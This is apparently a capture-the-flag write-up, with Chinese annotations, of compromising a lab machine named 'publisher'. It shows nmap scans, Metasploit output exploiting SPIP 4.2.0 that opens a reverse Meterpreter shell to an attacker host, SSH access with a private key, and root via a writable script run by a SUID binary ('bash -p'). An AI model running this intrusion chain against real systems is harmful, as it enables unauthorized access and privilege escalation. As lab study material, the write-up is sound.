// 探测主机 nmap -sP 192.168.56.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-20 06:53 EST Nmap scan report for192.168.56.1 Host is up (0.00057s latency). MAC Address: 0A:00:27:00:00:09 (Unknown) Nmap scan report for192.168.56.2 Host is up (0.00028s latency). MAC Address: 08:00:27:77:3D:23 (Oracle VirtualBox virtual NIC) Nmap scan report for192.168.56.11 Host is up (0.00052s latency). MAC Address: 08:00:27:AB:D8:DE (Oracle VirtualBox virtual NIC) Nmap scan report for192.168.56.4 Host is up. // 扫描端口 nmap -sT -min-rate 10000 -p- 192.168.56.11 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-20 06:54 EST Nmap scan report for192.168.56.11 Host is up (0.00069s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:AB:D8:DE (Oracle VirtualBox virtual NIC) // 扫描版本服务 nmap -sT -sV -O -p- 192.168.56.11 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-20 06:56 EST Nmap scan report for192.168.56.11 Host is up (0.00077s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) MAC Address: 08:00:27:AB:D8:DE (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in24.62 seconds // 漏洞扫描 nmap -script=vuln -p- 192.168.56.11 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-20 06:59 EST Nmap scan report for192.168.56.11 Host is up (0.00077s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. | http-internal-ip-disclosure: |_ Internal IP Leaked: 172.17.0.2 |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-enum: |_ /images/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' MAC Address: 08:00:27:AB:D8:DE (Oracle VirtualBox virtual NIC)
[*] Started reverse TCP handler on 192.168.56.4:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] SPIP Version detected: 4.2.0 [+] SPIP version 4.2.0is vulnerable. [*] Bigup plugin version detected: 3.2.1 [+] The target appears to be vulnerable. Both the detected SPIP version (4.2.0) and bigup version (3.2.1) are vulnerable. [*] Found formulaire_action: login [*] Found formulaire_action_args: CKNOtIY6q36fgXbnaOw3p... [*] Preparing to send exploit payload to the target... [*] Sending stage (40004bytes) to 192.168.56.11 [*] Meterpreter session 1 opened (192.168.56.4:4444 -> 192.168.56.11:56446) at 2025-01-20 07:38:36 -0500
ssh think@192.168.56.11 -i id_rsa The authenticity of host '192.168.56.11 (192.168.56.11)' can't be established. ED25519 key fingerprint is SHA256:Ndgax/DOZA6JS00F3afY6VbwjVhV2fg5OAMP9TqPAOs. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-169-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon 20 Jan 2025 09:08:28 PM UTC System load: 0.07 Usage of /: 74.7% of 9.75GB Memory usage: 32% Swap usage: 0% Processes: 211 Users logged in: 0 IPv4 address for br-72fdb218889f: 172.18.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for enp0s3: 192.168.56.11 Expanded Security Maintenance for Applications is not enabled. 0 updates can be applied immediately. Enable ESM Apps to receive additional future security updates. See https://ubuntu.com/esm or run: sudo pro status The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Fri Mar 29 13:22:11 2024 from 192.168.109.1 think@publisher:~$
Vulnerable to CVE-2021-3560 ╔══════════╣ Protections ═╣ AppArmor enabled? .............. You do not have enough privilege to read the profile set. apparmor module is loaded. ═╣ AppArmor profile? .............. /usr/sbin/ash (complain) ═╣ is linuxONE? ................... s390x Not Found ═╣ grsecurity present? ............ grsecurity Not Found ═╣ PaX bins present? .............. PaX Not Found ═╣ grsecurity present? ............ grsecurity Not Found 08:13:19 [1503/1808] ═╣ PaX bins present? .............. PaX Not Found ═╣ Execshield enabled? ............ Execshield Not Found ═╣ SELinux enabled? ............... sestatus Not Found ═╣ Seccomp enabled? ............... disabled ═╣ User namespace? ................ enabled ═╣ Cgroup2 enabled? ............... enabled ═╣ Is ASLR enabled? ............... Yes ═╣ Printer? ....................... No ═╣ Is this a virtual machine? ..... Yes (oracle)
think@publisher:/usr/lib64$ ls -al /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 lrwxrwxrwx 1 root root 10 Nov 222023 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 -> ld-2.31.so
然后我在脚本中添加了“ bash -p”并运行了SUID二进制文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
think@publisher:/usr/lib64$ echo "bash -p" >> /opt/run_container.sh think@publisher:/usr/lib64$ /usr/sbin/run_container List of Docker containers: ID: 41c976e507f8 | Name: jovial_hertz | Status: Up 2 hours
Enter the ID of the container or leave blank to create a new one: /opt/run_container.sh: line 16: validate_container_id: command not found 1) Start Container 2) Stop Container 3) Restart Container 4) Create Container 5) Quit Choose an action for a container: 1 Error response from daemon: page not found Error: failed to start containers: bash-5.0#
获得ROOT权限
1 2 3
bash-5.0# id uid=1000(think) gid=1000(think) euid=0(root) egid=0(root) groups=0(root),1000(think) bash-5.0#
